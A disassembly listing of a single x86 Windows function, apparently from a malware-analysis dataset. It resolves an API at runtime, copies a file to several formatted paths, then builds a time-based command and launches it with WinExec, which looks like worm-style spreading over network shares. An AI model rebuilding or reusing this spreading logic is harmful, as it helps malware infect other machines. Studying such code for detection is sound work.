Function at 0x404cd4
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x550
push ebx
push esi
push edi
push 0x402668
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x402654
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and byte [ebp - 0x38], 0
mov dword [ebp - 4], eax
xor eax, eax
lea edi, [ebp - 0x37]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x402448
push dword [ebp + 0x10]
stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
mov esi, 0x407fb4
jne 0x404d3d
push esi
lea eax, [ebp - 0x38]
push 0x40264c
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
and byte [ebp - 0x550], 0
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x54f]
rep stosd dword es:[edi], eax
and byte [ebp - 0x14c], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x14b]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x550]
push 0x402640
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x550]
mov dword [ebp - 0x24], 2
push 1
mov dword [ebp - 0x10], eax
pop edi
lea eax, [ebp - 0x24]
push ebx
mov dword [ebp - 0x20], ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], esi
push dword [ebp + 0x10]
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
push eax
call dword [ebp - 4]
cmp dword [ebp - 4], ebx
je 0x404fb7
call fcn.00404fbe
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov ecx, 0x101
xor eax, eax
lea edi, [ebp - 0x550]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x550]
push 0x402624
push eax
call sub.MSVCRT.dll_sprintf
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x14c]
push 0x40261c
push eax
call esi
lea eax, [ebp - 0x550]
push ebx
push eax
call fcn.00404fbe
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
push eax
call ebx
test eax, eax
jne 0x404f4c
push dword [ebp + 8]
mov ecx, 0x101
lea edi, [ebp - 0x550]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x550]
push 0x402604
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea eax, [ebp - 0x14c]
push 0x4025f4
push eax
call esi
lea eax, [ebp - 0x550]
push 0
push eax
call fcn.00404fbe
push eax
call ebx
test eax, eax
jne 0x404f4c
push dword [ebp + 8]
mov ecx, 0x101
lea edi, [ebp - 0x550]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x550]
push 0x4025dc
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea eax, [ebp - 0x14c]
push 0x4025cc
push eax
call esi
lea eax, [ebp - 0x550]
push 0
push eax
call fcn.00404fbe
push eax
call ebx
test eax, eax
jne 0x404f4c
push dword [ebp + 8]
mov ecx, 0x101
lea edi, [ebp - 0x550]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x550]
push 0x4025b4
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea eax, [ebp - 0x14c]
push 0x4025a4
push eax
call esi
lea eax, [ebp - 0x550]
push 0
push eax
call fcn.00404fbe
push eax
call ebx
test eax, eax
jne 0x404f4c
push dword [ebp + 8]
mov ecx, 0x101
lea edi, [ebp - 0x550]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x550]
push 0x40258c
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea eax, [ebp - 0x14c]
push 0x40257c
push eax
call esi
lea eax, [ebp - 0x550]
push 0
push eax
call fcn.00404fbe
push eax
call ebx
jmp 0x404fb3
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x101
xor eax, eax
lea edi, [ebp - 0x550]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x14c]
push eax
movzx eax, word [ebp - 0x3e]
inc eax
inc eax
push eax
movzx eax, word [ebp - 0x40]
push eax
lea eax, [ebp - 0x550]
push dword [ebp + 8]
push 0x402568
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x18
lea eax, [ebp - 0x550]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x7d0
mov dword [0x407f94], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x404fb9
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret